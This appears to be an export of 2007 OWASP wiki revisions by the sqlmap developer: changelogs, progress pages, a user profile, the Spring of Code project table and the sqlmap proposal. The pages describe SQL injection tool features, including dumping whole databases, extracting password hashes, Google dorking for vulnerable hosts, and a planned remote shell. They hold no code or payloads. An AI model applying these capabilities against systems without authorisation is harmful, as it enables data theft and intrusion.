* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
=== September 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/column are specified to be dumped. Some more minor fixes in all three DBMS plugins&lt;br /&gt;
* Important fixes in ''lib/option.py'' to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function ''__setCSVDir()'' and fixed also in ''lib/dump.py''&lt;br /&gt;
* Minor enhancement in ''lib/injection.py'' to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (''q'') the for cycle when using the google dork option (''-g'')&lt;br /&gt;
* Minor fix in ''lib/request.py'' to properly encode the url to request in case the &amp;quot;fixed&amp;quot; part of the url has blank spaces&lt;br /&gt;
* More minor layout enhancements in some libraries&lt;br /&gt;
* Updated ChangeLog and TODO documentation files&lt;br /&gt;
&lt;br /&gt;
=== October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on Microsoft SQL Server&lt;br /&gt;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries, ''--exclude-sysdbs''&lt;br /&gt;
* Enhancement in plugins so the column type is not more enumerated when it's not necessary to dump table entries, since we need to know in this case only the column name&lt;br /&gt;
* Major fix in plugins and in ''lib/dump.py'' to sort both column names and entries when dumping table entries&lt;br /&gt;
* Major fix in plugins to correctly handle the ''-C'' command line argument to dump table values from&lt;br /&gt;
* Code refactoring in ''lib/request.py'' ''getInband()'' method&lt;br /&gt;
* Major code review and restyling in plugins&lt;br /&gt;
* Minor layout improvement in ''lib/resume.py''&lt;br /&gt;
* Minor fix in ''getValue()'' call in plugins&lt;br /&gt;
* Minor fix in ''lib/option.py'' to correctly handle one-line User-Agent file&lt;br /&gt;
* Added ''__cleanupParameters()'' method in ''lib/option.py''&lt;br /&gt;
* Some enhancement in ''lib/dump.py'' to correctly handle also the ''-e'' command line argument&lt;br /&gt;
* Updated ChangeLog, TODO and THANKS documentation files&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=20471</id>
		<title>User:Inquis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=20471"/>
				<updated>2007-07-30T10:46:40Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Who I am ====&lt;br /&gt;
&lt;br /&gt;
My name is Bernardo, I am originally from Rio de Janeiro (Brazil). I have good python programming skills and some years of experience in computer networks security. I spent most of the last years researching on web application insecurity taking over the [http://sqlmap.sourceforge.net sqlmap] development since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
==== Links ====&lt;br /&gt;
&lt;br /&gt;
* My [http://www.hospitalityclub.org/~inquis/ homepage]&lt;br /&gt;
* My [http://bernardodamele.blogspot.com/ blog]&lt;br /&gt;
* My [mailto:bernardo.damele@gmail.com email address]&lt;br /&gt;
* My [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap sqlmap application] to the [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007 OWASP Spring of Code 2007], its [http://www.owasp.org/index.php/SpoC_007_-_SqlMap OWASP page] and its [http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page Progress Page]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=20470</id>
		<title>User:Inquis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=20470"/>
				<updated>2007-07-30T10:46:14Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Who I am ====&lt;br /&gt;
&lt;br /&gt;
My name is Bernardo, I am originally from Rio de Janeiro (Brazil). I have good python programming skills and some years of experience in computer networks security. I spent most of the last years researching on web application insecurity taking over the [http://sqlmap.sourceforge.net sqlmap] development since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
==== Links ====&lt;br /&gt;
&lt;br /&gt;
* My [http://www.hospitalityclub.org/~inquis/ homepage]&lt;br /&gt;
* My [http://bernardodamele.blogspot.com/ blog]&lt;br /&gt;
* My [mailto:bernardo.damele@gmail.com email address]&lt;br /&gt;
* My [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap sqlmap application] to the [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007 OWASP Spring of Code 2007], its [http://www.owasp.org/index.php/SpoC_007_-_SqlMap OWASP page] and [http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page Progress Page]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_-_Projects&amp;diff=20469</id>
		<title>OWASP Spring Of Code 2007 - Projects</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_-_Projects&amp;diff=20469"/>
				<updated>2007-07-30T10:35:16Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== All SpoC Projects ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; WIDTH=100%&lt;br /&gt;
|-&lt;br /&gt;
! SpoC Project Name&lt;br /&gt;
! Author&lt;br /&gt;
! Confirmed&lt;br /&gt;
! Status&lt;br /&gt;
! Coordinated by &lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - The OWASP Web Security Certification Framework|The OWASP Web Security Certification Framework]]&lt;br /&gt;
| Mark Curphey&lt;br /&gt;
| Yes&lt;br /&gt;
| 45% &lt;br /&gt;
| OWASP Board&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - SqlMap|SqlMap]]&lt;br /&gt;
| Bernardo Damele&lt;br /&gt;
| Yes&lt;br /&gt;
| 70% (to review)&lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Site Generator|OWASP Site Generator]]&lt;br /&gt;
| Boris&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Attacks Reference Guide|Attacks Reference Guide]]&lt;br /&gt;
| NSRAV Security Research Group&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - The Scholastic Application Security Assessment Project|The Scholastic Application Security Assessment Project]]&lt;br /&gt;
| Eric Sheridan and &lt;br /&gt;
Dr. Goran Trajkovski&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Inspekt|Inspekt: Input filtering and validation library for PHP]]&lt;br /&gt;
| Ed Finkler&lt;br /&gt;
| Yes&lt;br /&gt;
| 50% (to review)&lt;br /&gt;
| Andrew v d Stock &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Code review Project|Code review Project]]&lt;br /&gt;
| Eoin Keary&lt;br /&gt;
| Yes&lt;br /&gt;
| 25% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Certification Project|OWASP Certification Project]]&lt;br /&gt;
| Matteo Meucci&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Education Project|OWASP Education Project]]&lt;br /&gt;
| Sebastien Deleersnyder&lt;br /&gt;
| Yes&lt;br /&gt;
| 45% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP The Anti-Samy Project|OWASP The Anti-Samy Project]]&lt;br /&gt;
| Arshan Dabirsiaghi&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Security throughout the SDLC|Security throughout the SDLC]]&lt;br /&gt;
| Keith Casey&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP WebGoat Solutions Guide|OWASP WebGoat Solutions Guide]]&lt;br /&gt;
| Erwin Geirnaert&lt;br /&gt;
| Yes&lt;br /&gt;
| 90% &lt;br /&gt;
| Jeff Williams&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP WeBekci Project|OWASP WeBekci Project]]&lt;br /&gt;
| Bunyamin Demir&lt;br /&gt;
| Yes&lt;br /&gt;
| 40% &lt;br /&gt;
| Ivan Ristic &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Python Tainted Mode|Python Tainted Mode]]&lt;br /&gt;
| Denis&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - WebScarab NG Security Test Automation|WebScarab NG Security Test Automation]]&lt;br /&gt;
| Darren Edmonds&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Jeff Williams&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Refresh Attacks list|Refresh Attacks list]]&lt;br /&gt;
| Przemyslaw 'rezos' Skowron&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Best Practices &amp;amp; Countermeasures|Best Practices &amp;amp; Countermeasures]]&lt;br /&gt;
| Jim&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Brand|OWASP brand]]&lt;br /&gt;
| Paulo Coimbra&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Web Application Security put into practice|Web Application Security put into practice]]&lt;br /&gt;
| Heiko Webers&lt;br /&gt;
| Yes&lt;br /&gt;
| 60% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP JBroFuzz Project|OWASP JBroFuzz Project]]&lt;br /&gt;
| Subere&lt;br /&gt;
| Yes&lt;br /&gt;
| 40% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Owasp Orizon Project|Owasp Orizon Project]]&lt;br /&gt;
| Paolo Perego&lt;br /&gt;
| Yes&lt;br /&gt;
| 45% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Enigform: Firefox Addon for OpenPGP signing of HTTP requests|Enigform: Firefox Addon for OpenPGP signing of HTTP requests]]&lt;br /&gt;
| Arturo (Buanzo) Busleiman&lt;br /&gt;
| Yes&lt;br /&gt;
| half term review: done &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP LiveCD Education Project|OWASP LiveCD Education Project]]&lt;br /&gt;
| Josh Sweeney&lt;br /&gt;
| Yes&lt;br /&gt;
| 50% (to review) &lt;br /&gt;
| Eoin Keary&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Java Project|OWASP Java Project]]&lt;br /&gt;
| Erwin Geirnaert&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Jeff Williams&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP LiveCD Project|OWASP LiveCD Project]]&lt;br /&gt;
| Joshua Perrymon&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Eoin Keary&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Interim @ Aspect Offices|Interim @ Aspect Offices]]&lt;br /&gt;
| Andy Gocke&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Jeff Williams&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - 10x 1000USD to FOSS projects we all use |10x 1000USD to FOSS projects we all use ]]&lt;br /&gt;
| (tbd)&lt;br /&gt;
| No&lt;br /&gt;
| 0% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Help with SpoC project management|Help with SpoC project management]]&lt;br /&gt;
| Paulo Coimbra&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=20468</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=20468"/>
				<updated>2007-07-30T10:34:42Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': 70% Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of this project is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
=== Long-term vision for the project ===&lt;br /&gt;
&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible. In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=20467</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=20467"/>
				<updated>2007-07-30T10:34:15Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== Accomplished objectives at 30th of July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
=== Ongoing work at 30th of July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[20%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[60%]''' Add support to extract database users password hash (done for MySQL and PostgreSQL, in progress for Microsoft SQL Server)&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=19912</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=19912"/>
				<updated>2007-07-16T11:48:56Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Roadmap ===&lt;br /&gt;
&lt;br /&gt;
==== Accomplished objectives at 16th of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
==== Ongoing work at 16th of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* '''[10%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[60%]''' Add support to extract database users password hash (done for MySQL and PostgreSQL, in progress for Microsoft SQL Server)&lt;br /&gt;
* '''[60%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=19911</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=19911"/>
				<updated>2007-07-16T11:46:31Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Roadmap ===&lt;br /&gt;
&lt;br /&gt;
==== Accomplished objectives at 16th of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
==== Ongoing work at 16th of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* '''[10%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[60%]''' Add support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[60%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=19910</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=19910"/>
				<updated>2007-07-16T11:30:47Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': 60% Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of this project is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
=== Long-term vision for the project ===&lt;br /&gt;
&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible. In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
